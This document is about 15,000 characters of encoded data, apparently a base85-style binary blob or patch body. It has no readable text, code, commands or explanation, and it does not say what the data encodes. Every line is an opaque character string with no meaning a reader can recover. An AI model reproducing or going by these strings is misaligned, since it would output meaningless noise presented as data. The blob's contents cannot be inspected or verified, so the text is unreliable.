z6(T#Ye%4Q}sof5q4Ur9L*I9AuwxM%4{A8GfD#g69k1zkv(kaj{g!!T%TvYQW`jeVW z0Y597k`0Cofp*WIM@z%2hO%SsysrcM?+P;cK7KMVcpN5X!|O$b#1d+Bl?$+d%|`?+ z^Yb-ALYA7=mk)i`LtaUi7T`vIz-KrL+sgxhTUkpYNoEIa66UzD-@>_;x(cw^WZcj# z21yiwV4Q<^Yc?w;oR)8AVFb(7Q0}YEE=VuCZ9jgH+96+wsztL4g>GYv99TO}ELUVv_Yoy#aZXq zgWP(X_xk0YVmizumNX7@TdgY0G=uhZ!Tei6QV@K2PmALaGFQy!Wb0l@DV1HRL{lGi zrM?A{Ox`i!Q+f5{u186x5UqTHqpG6(_~ax~&Ky%9FceDr>oY^WWjcfgF}sxO^3UiW zkw%dk%;1g3gQ1z8n3+5>o}>Zv_f&2*sTAWR;yiD+3` zLvV1UO~y_#9-T7yeAmuV1Cd2hVuP)Vy(6_!?ZAhs6bM=h=V)R7nrI2N+;tm{m_TD; z5KQl9pSVo{D-HJ2+8{xhi8O7*z$bVxgrHzrwcS+_CJ$mQ1B!_~HL~_g7ozi(23ROg zehb^V#B~=-e~U$h#Gn6O%9zUls~FotCHuc!GQ@l2SZT{$Tz|SrrJRJZwY^QYxTAYO zKmcnB>)zcodtK^(K+RIW&J@pF*(t%rId^Yo&G((r*t~;*_=FNYL9a}&`|5?E;~s@* zR*BGpfB-mF^0yqjEDL=of{|5nx|LB|J0&9T)deZ`1P>dDqPne}{TnC(hap%KmtXTH zh#WT(qHA-30=@bI=2?H z6I!rBfN_AEJ`(>{!{`!GTC9}LpR%R7yZNU-&w&XoA)VY!`(qaM}N}Ge`vWCH#S;1nZ!R5 z$XI0V{+YDqO(4o9tqtqiiZ zKDm}FtJ^L1ab)3?+9-R%Tn6tAG@WolLP8KqY-S8eiew7GWL;`bWk{+6>dblG<8Ca; z?+qmIWKN{cdyzJp;CIvw6*!v&tJQ_VG69p|8uVnhOU57%# z;2o6({;t;bYV2T!LyAK(f#%;(O>KGprtRAcC7UMRsX**t5SXR6l~SuRf@Q7Q&@2jV zs9-)cQ8(G9h`TpBl~crPw=Z&r>06`%JrxT{bPwBF`1L!t%0p@0;2E9S*OZhmij1`l zQpT*XVft)?9{-gN5ic= zg}x<|n{P(GNdDDkF@qB0^GpL7LT3q^L`r-%NiLTfTMb>)_`Le39}bi15|+IJ8qonC zL|LixRBA&Cj=>atA`|dx(12oiZWoRnvZ#M3?6T|rp;b&wED^B`fm)KNfY1XqzO*MJ zK(c|PZ^&`Vf;E}GR(+@wBj5=_?bti^yga_4a{yZNRsW9Wc7S>K&h0o&CKVtr?g50< zJDZHL4yFdF)|$O~6M7xmZcc0^=XLb7Tdb}RM1>s5D8>ba_=V;LkCs{N64fee)4r+t{@=xGAxO|XD?u#KjeNfR8%-+0$uB5)b9?K!RBH+79hp>fR~zh_ z<^cjJQ;y2>faBkR&CN}rj{7l;7o=BLSGagD8ImHy!{tkKUz5Mi7O&wb zRw$}Eb15l8NUl+yuSz6<81d^n6nS0D?**0Tx{ozLy_NAS*tY;uLznk&^kWuOa$nsBZ%sk&UstrI7+mIo#hs3&3t#f( z-7D7$wrn3a8T%d2eKVMp($UiXyIl3J)h3lw+Gco=c=pV9@c#S3uvrH)lHXy3cl6h< zU(}NSk}zKEZ2&wrjfk7VW5@Pu9o|flfG1z(00gwq&+ng`TfXIj926^13|YsUx;Xi2SfeipGAF zmOHzF(?z&tC@N0DPf0WQg|m^s0J6>4w&qi>NDL2O281>@Cbs;hzmR(6foDK>iUZVh z^`(tOIxY7nx%qE92YRz0d9~81U)l9z%3>HiHDSU1-|z*9q_%qTJb;$W8qK7}kkkuu z!AsN_I2E>E&gkAmR&|(zXL2H3f;4uZfz^U_+Rv{&L4hr#7!wD-Lg2l~q#7cyKGk%D z)!Mc!i?8Xrg0cz)!mjrNsO1h6MlwXFx@I5W{o{J}Z{ha0cRkvC3fZ@Kh&1+sV_)Yu z`mW>;EGpcjq#2i$Ro&-oJmmmi9ljD(MJM|w1);|)Z2=RN;xoHKs#$_~)_;6*9e{mm zY0926D-81Q=%Zu^cy@N4-SEd`?SDb*{w162ADTVK2R~+|&dtx?43AXVum2Ac`0nxM z#P9fepF%l=DyKKa@a(6J47cxR;h?JHywh);SwE$w}0{Vs9OmNyz_+4&qo{iEgIn5x86 zUzBL7akG=@RAShn;D2)H_Z<_$3pgeb6WJ2I%s!h>Sk6oAk*UQdLDZm7(Q!9>;8mDU zou81n*Tet$e4g@bn&G~A9!;4>{!yqnsSMsRxi&Xes&1rB*+2&j;~xb1VV!iGu8TIU z-j7!rVZEe0+CLB%nm->XcO1R2$W%*FX^V7D&(gJ>ER6KLPLQ zah0QStLuI^-eCw$yoS#E1$O;vW>JwFvX{aL<=@@n!cShwJZi zSx+OyfLT0D_`-i7u`BgF6YapUmK!jzZ;xhZ{-O^|5|Evn|+ zYE#cAO4&fQFT}LW$|ytC>R3qx5+KtIw%4a>GdRo<1!_O)d8M@lv~ie6t5FG8D`D-G znB-;=Je;j^X323b7i^|NV{iU-V(Kddfh|Hgb>B$-7X^W!z=UN3X$&hPS=;H=XwG3+ zsVEvy#R?*{bnACWD*}aHW^il)NiKz^$ajIX9xPc^IsD?I5P=BhIYi1eSy-}^QYcS4 z&0J^_5em5q5vsAn{j3xU9=2TW`+7P?MzRSvE~6t`>vZ75|3_C4)O0xXLYldl)t6cZ zNo3q+DvW#pTwF(|`_GGX)N~P7H&+AZpK%j@6QKM(De&NteIdvY6!(t@IKy1P#>XVzL8*f6Z@4mC2!@sBJyM;Om6;MBQ`_|dq}JP8i1TxP-X=vm1%x_M zYd^wD5)JN(QU-P?1^VUBm2?@(w1GInAN4Qm`(KcX%9S*>rlzP!XTNd(*82V7r0t|Q z*}L)!_RAmnkBIkuQ3T2+`;pN;#){V59>Ir3Mh8~{Q zx^~t6YY(lN%fWj^i7YHcboI(nAs`J6IB&|Ab^&+0thZG@@`f@jJ}Kh6t)xxUPxl;V z$c(?$X)WKXH|1%L>5erlKZp5A2}FQnX>L+v^&e!dI20Lrno11(ho36ab0@c_-(UZH zifov|%Oo{bQ^$v=OoJ3==o{R$#n*b@SGp={Q^dZd{7Q&|$Ho}SL{zd^%dt!35@}&S zvX;fBF*ot_`~H8qJ^gx5PtVeCwX~3IbrD{{WuZw)mwDwfh5>sgPe4l)JsAEr{JZV< zk^iJ|6nc4s14SzdRiJ(K^ENe}xZFEFC_TC_@?l5RuOnpXD1;pNIW)m>Ec0rQV$j!A z*%Ee`^lAvVmcxt5pOaN$=WG(MqEu=Etn&+6@M$NP+=MeDmU#?Vg}L9vD>Dh8xA;n= zO(5C$BDKt%Jh@XNawI$kF2x8;qtn>+s`L53ocm4ivs0ZBGO3QI3)7__QU~Hp%G^Yf zV9B1jGT<1dZ=l#DN329m1pWI@cldA<3(rM`3>X*=dy1AeKd>NpWIuM^RgQpuKm=}Ft+vL}iY*c$#YP+Y7fGPks(r>*C9H`!+B zVm1AE(plBepsnyLx~u-(pqomb__6oN+eTk{?F5_x5<$Gnqn5f+i%5%}YT#?G)_m#y zlH`q?kfHxkpxOe^O1E5IFFcLQcPS00p)P(4tTQ0S3Z*EgOv~rg%U6$ZH#(LU3 zA|lh0lbznztTViR8(bp&zBPehDkxP{A1$#qafFE^I4X|MZypyI9jH%6H782#@n59A z?qqg9qzMjRs5>&gT`EFbIK4f8{@3AX6#}vT&i~+Ku7nXJB_%~uy{nJ{L0iy0oId`F zxC6n-Alm#|vopH>r4yFJ{!Y$PIbp0OOAM=f1|ludgMX@78)V zQeD4^=(tABr8K+-!}|W{&cE>Of$~B5GU9`y^GlkTQe#Tk_&#k?FuI_UsvBy)@5Q(c zl}w~Gs&}mc9l-bcmE|zaz%cga{)1&(p)=4lMw7`PZRM#*uBiFV=vbCeRya0p@=y8@ z8XB;={NFCVbURFjcrD^=G2S6;4-@D3^|@ZT(a z1uY&zDp>M@>0%N#fd%gKzhb<;uD-5wiyxar93wC)=x84;gt!Uyl|IfWe8e*|KM`F_=|ARw z5?@_w6qQOv2B#w|6dVw8$YceQjMsHqSDpIBUsHoEBj&@36V zXWggYSTyz_C5O?|A>ott%8JksI zmP{=ArZRv08yBT3q~rTIF-+<#Lnm|Y`QIO+*Ao@r%MPfIPMe)1$fKzwod2A)eNocX zK>ypd(sGzH@?L~vg($HtSJUYt=xo7J_jz%UdW5(Z=$A}+zUIs1B8jS`Lv)ahW{S7{ z4iugsR-zEHKSZc{RO+Tn_=Jy$8#@EkjE)n(FRx;Voqb-Nbb9U()ZwB0R`^u!Hjj%T z?P09?d?s}nV>4^UdFzAqNMS%uNL=R0__^$mm&cl&jQTaz6{@Pu&SzuWFcx`qB-`}c zmAK}PL#z)gHHF#&DP>XhYCqbVR^pZuJc(#H^3l9?oXU6AcSyE<}_EYhJZTdYoj#c{=ST zDl?Z44l->A*#PHThG&xfSB5N8`)SbVb@I1`^y&PbtnTBe z9`{6=v{({z|Z*Ov=uCs6{M|9`a+i&x_oV1EF-C!5 zAS%es+}uTJBxWSXuSC^|^|x;+OEA4?qTkL=p7`S^-{4p3PNyfhi_+zM#aA^1<%E~{ zBL#36XE2>TGE*DJf}am~&eNiu#Qzj_t1Z)8lKR#y;B(_M8Tq1~Y4G z$B)uVN=hOrH)2))MtS(Gif72I(vzY6@Xxoo;wi)_z=_4ZuNV^z?7h0t6hJ*-aUVsD ztfPHH{?+QTrSYb*(foMHP)7z5DW6!@ha4aGda=vIS2k5M1>Cax7o@W0Q-%^APd)d; z2j6WfX2{7YR^l3{-*}pwu8Wfg0n6gBbw-q~4F}TN-rnBP(N1#ye>)#};8(vR^C8(_ zlX{QSTv^5zlXKLc@e_W5C~2=jv5?A&N_-UH2|HR5bw66JYtv=tOz)&g8V8C6$Ln<; zH#+=s(nNt3$&hlK=5b)1b9DjL9DdMurU+~-9 zfEopw^TutuI%b}%B4Sf1Ck>T~UB8~0yy4vpIAte4SwmVJCM)_YmPV~$H9s*C6iWQ( zU%-;jE9REUOXaiOG}iZSC-N_4X}iJl>gbk{MY3%1iI$pFUi5Yg=BMMM-UIqxUxl*C zCLWGFd&Wh6N;DqTun#3F4=WRdpfkp!6H5J7=sS@g{C!nMn{PcT?)a&J=&x^Z%+h5!Hm@=E@#hHk^v)vlS_oS@B zVjB#1dqKj3>Zc`Cx4E7NPqa~NO<`OM&p7Bq5_N1)49bRb#JU*#KrxJ&$zUO zL--i9X^_YiJ1reHN3$P(7k59E8|Lkmjs50YgPyi#XUmoz`i6<45lB?|pRZ7nvjCyN zXi%@-lLr*2;r(#6@7=yWGn3@T$D5q$px3Bfu~1yDsc~5#7cI6>uKf`ZjQ9?H8+F7e z$=WuOF#^+e62BRxiyxi05*u`}e~U(W9?u=jQmIo8HXC#YdO|EKwadphzv$kA2b5Ad zwKd@27hyer{#X}i(Vz1;+d6+Ya=_Pnf#^EqOpH4OnN~Az(NuLBR3Av4yvCTvntnR<(4m>(=VSpIoLm8ea|>B5YlM; zbC0Y5|10og`+i%rw6VPhu)!&l!kO1u$2CJd1zwfur^lzC?%pZa%x7-i38q8yMt3eU z3>gVbMkNgIEvZx>Vl4#`L|Jq zOABVzKUdQheh|LOtyd8=W; zxoJ^vrhVb~U&$9QHcAVU7r}uh)AoW!3j$qgaN$?IG(UGP^;se&M@Mmy^?bGbS?|iU z%5;@iMb*pa+>J;HSIOGKAaRHJOUeSYa z=IEpl_(;t+Zr%Yk1Tvm-$p&l+L2t3=%w3ThMavEFJ{%%s`qX@1+&}?1l~JkmYlh1vFOjlROJKLMuckIb)*Xyz;Kg;Qr@UtOs9h>;=^%JlcC*f2OwFgCn& z?Gw{Wjn8jAJSogS-_oLo5k-1!WOFdds&)7ANFc$ILhId8;X=2yD4R@6upiqlD;R!* zPAEmy*0EY!jwm);3IvRrr0Vg|zE~Sxn(AVG)`&6DOhm0z{yGBRvwcT+9Jn4-K%Bn3 zvemYCCrz{Te}Qm-IY51X_T@`>c#+n|!?Ll%s%QW1Sd(3avF`yO47h2TSle5^so7=< zI9uEnT64V&$D;^^RCQhrmuZ#&4D&dRn!DX-DVO=n2MuYn_J1?wBS{_8lBhu6hcvXg$EO#jBjwVgcsl z@eVn50STA!+8VWUtaeefk>A3HfXl8e%dtQia9V}F=D~?eEylGKpB~y~n?||MRPSgT zztLj5`-wbS3{!TWER+rvk^YQ}i>_@vy z-HBA0A5Na^y2TGfH;;+m5gGGl<55pmC$i)vW3i04&wmq#w%q}T4(7P*8F}C`{r3u|kzr9v z$+Uq@OUPlXx)K#UO~k{OR103RjaP8&)<;se+gEa?L@a#bBJP8O5ak}f&U(r_ng zdcqDyhchCz2q2@-8g!w-ILiMPKBjR}9G#wij0rEGmWzU*Pi5T)=|NXS9NS?8BW%#H zgsFiMix?es=)aDu-u7}nnH#tR$}KnN`}O^G#hSAOjnFV0w4jdJ z8?vn(B5yn7$)c8kaitofmwPsXdvHcS435poOZLhwhpqAhG z0%U)mz*{=?lHeox7<3@DaNUg2F7fq#K#!^qe%I(2dCtUIBt!NBmZLYOD5i)@<)nUh z3+m6iXmfZ^;UT0Pf=x6s=l)iLEFWo4UVY*5rDyIJE zxYe;VGY8a>@{;-M4JA-psHSR@o(k49x~L- zw)qTDx-T4HjNtB~vFEsT2qIYIq0)DR%(*{ACDL2#3}mn|21cU|GVd?WUm(HqWVZO&7<8___M=c> zz{cd8E9FCX-{M^&gAzm*oiKrUwM5}FC-85p1&xa83AZ}sZ-}Vc4dJ_`5D?KtCH=l( zrh!tBagEnDG8Bb&0W;DNM#Ys{zCHYiE|*VsPcj!%}Gda+9`>0oM)d zm7hjx>*G(Ygpj(W3M@USQYC_~WQrOBAwYd-U@={ZE6Ry6;vb_LY9P2&<+WivFJ1=P3Uo11;ary;CBjJ)Ws$I8B2%ENmy6#(RF(BTBIdI>97Zo2ZWbD^j>w~HsE>Ci8~^Wc z;)Mt-0tn93uv;w@e{=^(m`@jYOUiLBPa&tzQcj;w+i#Och(pz&m~lHXad9fDsvO20 zt0ri8t4%(t4BcmEWifkZF~y7}wM(N?#v1?tK<7VQ|BKl&8ZZ_q2e7KaBM6yPFikhT z)+aY11x0iAf>{*^r0-UrBCK!nTemYZhQ|LqY%h*V*p|OKquq6hw}PL+_4n-0KWBf2 zwaXJ@z9`)as-ADhYlH$*tKd*ww9@+BY%J+O9){3FrSW~9sk0~S?Q|XMPb_Te%1plv zQBx(dBExn^`V^SJFZMokU%IRr=5_4QMy@X)=YC;AD=k(v$syMDT5zX|*%hQkcBGF7 zDz+kLu;4N%=D4PY#YC;eu$V}Z0Wzhy&Z6wTEUJ_6(Ru(int{Ic!qFRp+?vn8xgeA_ zf=bdmm_}q$h$d{c$zx-PutdUp;q8liGbV%TbS|61uT;X`7qdg_xf0RB@);lV{BMTY zgl=wcj@Mg!TrJXhSc{tP2eNqM9{aXce;Bf#MVP~VS|5F(Vpp3XfW5=ndAhdZP{=6Y z5X(^XUQ0RS2T- zPa-^6p_)Z+NLl1`L7Ul1Wo2PTgF_azktbOtMVM*2-s-i_-?_Lyo}pg0Z+v^Y-=4tY z^mZ8cAjgEqmtyqFQeoM4fjQC;d#~gF@(tpN^k7<@i1JcudIsVHE`Z;YY5^VbQ{laR zFz+XH$75BOa2xheryj3eoyfj=L6IqmXeQ@C_l^#i>ZZ=}>EpNEBV3(ZBJ0KP7SO=V z1(0r?wl&*EM#d76NGvcdi|p)6)_&)@_0^l6#)5(%)s4%2I4p0-%Dv<10SLKP9UnX# zarw>H+T)jfq4M|qJ^N=*^7$T^2y1^hC^yLS`E)*+sMEf)yuRkKCeHolZkVmg_qpb6 zA@{+_!3X|k>!n0Xpo`z+umZ4-lQ-dPln@f|PU9W-x z=EA(KSQIw{k&#)nJ}5RgQVxIbrt6F$CcrAB1u**ZJyZ;Y+S>xI#hsf{ZwH z(cCMwhYd^nk^6XQ6}?~?@W+oCBH?>>_T^LOT0>6Kpz6s+ z8`rkwW2;Y7=R@XRGtx})^U|kAY}zni6ls1Qi5kyyGr(mr%3erhZm&*)2?KTkg-BvX z9|snV?C4}#c8~&)fR9*=bGW^^0ZKBd@!4KULpMlNyp7_;O$QTyjh9beUjU$ql50IN zSIbj4rU}bCu_XLbOOP~0&-~YYEbw^IDT6ZSXZzj~)x4AA;|5ArOAw7}+~3d2hpUE3 zVFl4noFXVJ@)?t;(xcoN(5#}+8~0l!PL6@U?i6lrXlS7kkJ5;K<{f-$O0xaa!x??M zf^gMr=ZqPn??>x(6l8VQPSp~8cET?KS&Qvb+_q)ywN(-i+ZkH-{gdA#pbNwpX-wlV zaNkLJZ^f4ZICQ2Nlw2~{Rc(E1GhztfPV2V(!~F#4G~3>a1uRk!vI>`s|8zvAn3NN? zeE;`kfZ&S>A$YwCES5{DmR`f7LuDUC6kM?C*ilc>$>#r(G5uKEsVz>Hza@U6JV`HumqK%sxcz4@BR|9t6gABFyl{%pPrG& z0Df%>AY}sO=FS_jt6(YKaccgD3IjLX8b-V{of!6h3>Xqj%0?jEFy2+3 z0*_GZ0h2_gu_qvGaL0U7D?L?G7P5>pFEKIq?3p`{O&w8uN4&c3TP_$sqk2+&#JLk3 zQxGKg$CY{GQJlxN`COKs)yrw|b^C|lb8{*uga(YC3TG{3$Ke=(L!XNnI;8gw+-4~_ zVj>S){JC>HGG+lb=!WY?Zo*?gR+cRcj!=Xs&c4ClGh|UDD@aygsq8p7z@qZpyx(i8 zG;ZpcvVJY%dPbOcM-Q(S)U<0_*)|7)f>aWpx9%#MR#{Vi8(!Vs$^{cf+nNV+r)Oub zdhVpO_6FdO?pj`!Wp}Q!G;;)875q+@xtJ0&MI3VV*m7^(wR0Ny`U)6GW!gfeGg? z9){%>)DBftp` zqS-FMh(XcZC(AWlHGL)m3=piWC|n*VVa%e3rVB!jl>UZhy3+Rw{`#x6JOVp;=wmJK zZ-~@5odVeH$eoB4$t@MyN7r!JDi$R|B_w-`0VaVxZUS&Wu zfA-;tgTl|~xl6YA`rHHP zr2S83_3xb+TkxShc!vuOnXze24n9YZ8xwn%X%#L1Nr-NXj7M3HQ2G7-RasfN-XW2U zlsQbDl`S;Y&sY~5s_Bvi7ycT;k8~|4SFk5QFX-{!&tzEe+gyI{-u`#Cv4n){gYR~% z5Q*F8dXev?I8tik$;$$rBw7nsRWOq4+7GG$rwdOHc0gPA2M`W(Y02L6V)~-$zd3Kf zF&HIlA>61|#t)CWJb#%fUE+xaB0R;wO9*xe`}@<{YzrSMQ?<^o`pL`f-ts-2&g^MU zjQ~1185*8!WPC@k8jLwuRPW2Rd$4$cpzoYG(s^%wv#$-LXiluU5vhZ9|||Xdlw|sOix#~ zhFcSbheF0%ELR|K$tXA{uoi&w^(*AnwK##=zi;^*V$>TlP^!i(xPr%kBnjq0t=CXQ zgY>l+n%bMy8lLRJ$w9$1PWI*7Z&qyuj20}}PuT8@6GVQQovJg)jcW2tldA>B6U-`D z>vMJ9{T9#rtHv0O2PSZ^q#=&5AppnT#JJ6i;o7<9ke`5AMs_8N z;=9rLwCb}KPV{jqq4HRvWbCjyi(dUD?N8d5aa58<->+nj4D%b8+h%`Sly}zI2a`+V znToAYP^!kN^YiiCS5yV~nV3{Bt|eIu%jO=QGvlC9Tla!dd#y@-y>y~cro}8(XgKK3-nM4%9p{jYKA@Yd9*nUE?ctF8`)fZTfp{c!C3P-6 z=N&z1f%#JG(vowTtGC7PSI^r4NBbw=lM$7N+)%51$861c zw#@}c9&Th*3SQExoX({=K=?6DK-=;Iz3kMK60PoIyjC!f#U9BdCcT-~IT#lgLjg6t zna{3GkP?+fiQy|C%MK1?4_xe;z(U7IhnV-#oml=TE3=Weaa2_mb0jlgau-Y+v#1+w zWU=($WUFvdd`D+GTU+5<_6I9yepzWtS)GW?q(17|v-0p!A~0V@fIugT1=;AZ64%Qf z4w+u&j((@A>hmESVg}T2TQ#@RhpdKEYPXx=QD|7^tL~4xW@SX57ngI zIHRuF-?`@z_<_}!=KtTgIsK*UeNOjIP4S#hhNDTL7f+G0^^shyS(;a6?MxTzQHI?)dn~ z{eo(>VpF`NZCz3 z^q|CZ%?by^K||)p6=)!wG3oNhPe(#9JKR1dDA~VG{io-(zQBcn@WkgtR87h--ZLZl z{NK2!ojh3$WK+Z4+_v-DlZ`w@@@+AUe}RH^N<4FQXEWU^u`POR{&vheyuqE11T7w#Nb~upIvumlfLzelcFi zove6FxVPF!36DH|%)V6dWgBvsHie=WeC4qf%vx}0{j^_;R3{<`MiPNbT%@C#q%))A zw?2jlZxm`O4TdBU@qZAVU?CnDm9jzKGF8LLbz7^MN?2=i$ME-Y$`2T`EO%ML z<)03>dOlfrMJc*(^`pDHyPyDt=9`SqjmkS^P@&L&Mope3YWFBp`e7*Y3KaSE8U?5j z3*M6y3a)^o(+)oGgFY!^>fp`Ib));-N@s~}A&M_AsmMkBGWG0-5|QOPm9rWuU%#rV zyxVoYKVE5ib#=QErZd~KLGptP_Pcoq1<_GAO&A+@d zAZb4@rqG65g6QSK@tNNs`ICL^egDSNIigEfdtV1w9+$w^XFYJC4s%3lp;1*57#Y1y`-|Jb~=gj%>a;z+ih4a%N z3qB?1{hc4&xIk>{TP!AoHVO~HE*~>JDTOM)|3EW)VLPs=j4AndloiwA=sPH9o(XutXdh?sPgKdnChBUh3s6h3!K1I9x8aZ)N zB-mUQJSG3=Pch{xqVQQ_+K0A(BBlkml|Fvb6dMzDq*2>IH^vlZ`q#WD%p&woy$Fv6 z{4O?j?K$TZ^Vo_fZ>7oQaSF{R;Jz*o5A8V;XdYNDtXCE=bZo3QY&TT-?yyw>BE*m{ z)Cb2Wl@p^sp0*k{?xxdPM~Hh1v$wesg++fe;4QXn#@AeI1L&dC#cM? z){WZO(S6#6frI9R#5EllA9i=v{V#0d$yrs^WAW3x-OQI)M{H>$g>=0>?mun-#Bhxo zdoy}j*Miuln3(_7pTe&anPXP4P=Ej*`PKg-H%rpl1IlVmgtC0O`XAudBz9S1kdb*M zdAGT{BKXn4&e`?O=aqle^xB+#BW_@CiHh${$78GaLvRFJQs2wn_B73*wy>~q2bKaN zxGVrOi$Q@8d9r-XN7Q~w`U#5s2F8!!-Yp6HXLGGk)k0Dr48lHP-aSvKSCi(%@*`;A_`Sgu7(hp7YV?ja&Rb>aNIUl zx6hgj3#WV$5e&GSbwTJZjW`liDYPd`jp`y)+xARnX!xIls~z+zto|*1%$4xIn>_vJ z*lF<7@_)GLlBU0kvp@QPIbSDnEzEaxNgiC4AV@zGg(-;ddED%*HI=`Iy2b`LHRu3e+9sop6F=B6uFo z-%>ACTaE3m2)!5wFgOpRsT_7yEkh%oWD76J>$2bKam{Qjd=2dQ)q42B>pU#WvAIBv z`A4$@Mem=GruAC0{^5j~lIJVc=cB8i5tgE%OQ75(`#0wO*=F5cp!|Ay=ofVhJ!LkB zm}2%1t66tV{eM*E66Z&)G*}DiO^f)(CJ2p->IpRTQ)79)3z73MaWf_jg{uF4l<4kz zg*w2@9mvGM2ZkX4653uimg!%nya^_o7#c7d0&J;;D2r9Oq87!O0>LbV1z{HM?t;e5 zp^oZ56cT8WV3u_SeG)pKsGLT2?%rr3{BAcK--1r~mipPHjZH-MOStiZ<%XR^0 zKYQEUk8K4Gpx?@?e&Fml%iA<*9i$sB6qgu#e=7ft-*9ZzK3=HChJj+;^bZh~hHucu zK;Zcp`5GP@|Dpq~jGtzL{$Uj}GI6yX@rK6lc`Kx!FD;Mfh{mEETe*1NX=x~fu`n^c zeSAhzIAQ1m5xh7k%)edc4(jFhWnMj@fw~+U1_o6`8^d6@Xd5nT_KYC~EjO9vg9AXp zK?&zXq;bmG*4F#zN}(qHxx4V|z({kKqX5OR`^bo=qGAyY`o4TdQ#0xPhYnMq>5ki* zdvX%tf?%-(Knk|zshoN^G^GoN$9m=nl=<}+mwghN)nj1&@ns4vG+%9#$!Y5pK)kyAM5LmPjw z)qQW~gcj(qa_ml_u>Z?*2o>xuKH=C@W=U3v{x!JExWmkgNbYqXTe(IHuYdpt#_7pE zGKMTPm}d0%WyAiyxTuH3^U-|wQwOlbDE?Se8)zmPt*L8a-=n3HX*e(Jq9c;BZd0i- zy#J-CDjoG{$=9w@Evn~i@E_o~TWxZ0y>s#Qclk^RwN<9>Wl@?25D`Wsgu zPcf!h8D6vj#x~hiOg$n0rmyA!(F;=2fmqJP!wVp2hu0j>*P*?`E*F(dTXZ*Q5=S<= z@Y(~QX`xDOT8Yuqr=eQYHC*uK#!p*Y>glu?E;raM09pZ9cj0+L!jhHCy=B_FxUbaS z+kdngbn0_r_87b{o%RmfbSe$cYeY|bz~YaqE(ytjG_j@)5)`2YS+lAlx!bLrAbsXZsfS`hBZU3ok5v7EKjivIR>Uqfc$_M?tFVu_x2IAE-o=(K-Mpd{*8lFRgooQF-IsCP zx@6d~>NdmC^uc9JKm$?XW)WZSVoJ0exAsZM8EICdadL2MRQGAEZsJ{4``@UJ4u8}9 z3F4yEa43GX67gp;AzatK(s5=2531=P(f)gGQcg_&UriH_VjW3aKzIPSZcCs&JRi~Z znn_SfjCAr8w+8GhgcM>P*i~nc*Dv~kE}6Wrs%7_JMbPo-rm5q;r!kEcIn6gAX6Ln3 zz%b$xcA+`Ze%2N8YNP(%J!|T?>c`D_+v!U>2|hjp$Hq8nNeQEJn7m8{tS+2s;Di5l z%B!{ODdirqdX(U|l{;@jIgJ}Ky_fn&-ru}r7fdH3`i!)Veb|qToY~$sEb}hMz{V$M z1|d-*^f0CR*lk4(Sxl8Xv~0t=ho+{^BO}kt%8(`hji<{qqRrN857&M&(VfqIuMA)l06-sbjpu>4CQOd&T7e}nh>+0Sc z`K(QAmp7iS*I5Dn;{}KG3L#w6ApRa2?9Xht5yy&X|HsjJN5j>1VSLn#K0+8RdZPE< zjXorp2qF?<^xj2@Is_TL_b5X|5Yd7lI?+Y1(R=UxyYKg(wX*KYb+3EQK6^jU@4?^; zJR$t@w_gLoTzuf){9t|IJdj$dC?~(+F1p3|`DxJpi7VBnHj%s{Z7tmw#}@b+GwhDSE;SpZR{JXzxwE zpGA}2nQL8}TFm}ro!i8~o9yj*=eDRM`0AQzVs)m4OF-zcQ2mVI)t}HLD=h`_E-U#)& z(@<({l9<{0%QL(38B|&ay_IXd&%cAX496x+QF*hz)35puUBk;yRXaPKey-w#jhKHC zFWat~*`0Vh<3CsUta@rnwb!K1hlK6h>PI>17h`D_-1_?UzPAEWN1ek>cP&9J%vxX4 zVlD?HSrxzQU=q-8vIv>`(8-qP{NEOr)h{o&L&P_Q^*gJ6sJo%qsyY+1@z5sg}|}n|@^Ts%jlRGtI8<>;tGoj zkAM**d&*p&HO6!161?wYI z|Dsq&5o1*N`keV$7LjmBrCpHl=p+<$>g#UR#&*l3K_i1)rW6l%!wPy=Q(Db=a@Id? zJ6cmm3GJZp+h6L)fAKdI-a&?KJ5^bET2@9#*<)Osn9u_QKee=sl$E8jFw&q@0i=3Y zytRgFLTRp_d!*_jY{z=u*J%~bTXTVD{JD{JrA*z4nnJ}KIJn||@(De)Dl1gn{!l!B z9U7?pgWS%aBQtawQ?}QkFf7Qqz=ynn03M)UY=N?ga5YZrJ#DhI-G-w{X zC_U@Pho2-VHfD}4yutjSp#~cs-JTOr>MXhawVc4~efcoE+lxxx#A1qz7Mno`n` z@QiQWm}rDB1+vLW<`RPNKq<74CrS9|P*vuSE}xh7^3`$j6CPz#woH9$inwg-!tp}X zenBBpnX)cy6e1suN>%*O+Tq38TG9MfOVao=ZY5{Q>i|Xl7=|kT;~$xW!>RJqP|ySc zW(qgxoQ9e+DIfl(=bsl<#^1&h=efTjxsx1pjysuD8A0a+KL@w4h^!UBe?PbUnzoLz z$^*()qJrD(r5wrVI9D-B)x*3|U(r)O`)c{{G@jp1l@79udX6JlzuWy_ny z(!n15-&o8P9Tg-6U^y`bu@E?}ApF4=<^B_55S)g!ATEqaff?~9Jlu=WWN`KawV_@L zi%KNk$Nw&~E=>}H*uV%di4ZM^~1dukh(*mh(NbMu%He;=;Ny_j@GG$eJ!rH zK1zk^hj%bIITfgC9AOJ1QUAJJSX5$Et83JkvGgVk3-nMEOh8-(9u;cm7=pKnKP^eu zb9<^1dCm#QD?qW6Kbb+fki0p^!M=fma3<7?=-8z<__%@Uxdg4aG^|RN5&9*PUJGf$ zp+7kh1@8lZLY@dmBblWgN=?}DsMi3J4rIkAQgYt8sB<|H41pAhtA8ud4t*Pco-MnS zWkB>ij-^8d1^ili?km(U3f`X&2}XdPxG-i8iU}M?Hm$3YjYtaucfGjC15bJ>cKCtpD_~6^RRXQ5bAzwcPUcmSFj09hcep=@;i!h`OqHq;HL^BS{NDcC7 z?1xfv&aVR#mR3A1%*z+QN;Xm#HZD0}@ni{5k%HAIPJ}Tn@UJjDp<>_XkzNc^6{n-7 z(ew%u`)tX;lh*`o3c0snV+ZFB#~(wW3^8*WU&Q@U0{#lAL|CBTU~68qE?CKdvVBN_ zwOZ?jB}yNzslpTnQcwB?MvKw9f4gD&jIIe0YgM-yi{MlOp%D?!1c!_?*dK1IQJ7%U zP!4iN!f>ia8LHo!0$6jlk07J~rH-18qADsGoUe0q(M5@a3lW)Aw`3c`R=x|GlYUMw z%k$D)XDI|(MM7?UrEFJ*7Zyf~gUKu%1QRCe;)3w1+wnhNEVnZfVZ)qfFIJXWz=FXX zjtMBBljoogRVHTUWg#TNiPUh^48jT6>5khv5O5OD)khGfvIUr;6=$8|S-?q|GO|L_ zlFy@D1tsbOoEoL@n3*UwlioY(?mX~c3ZnGleBvSw!(}CBCI(T0=%NBq3Z1;8-Od4) 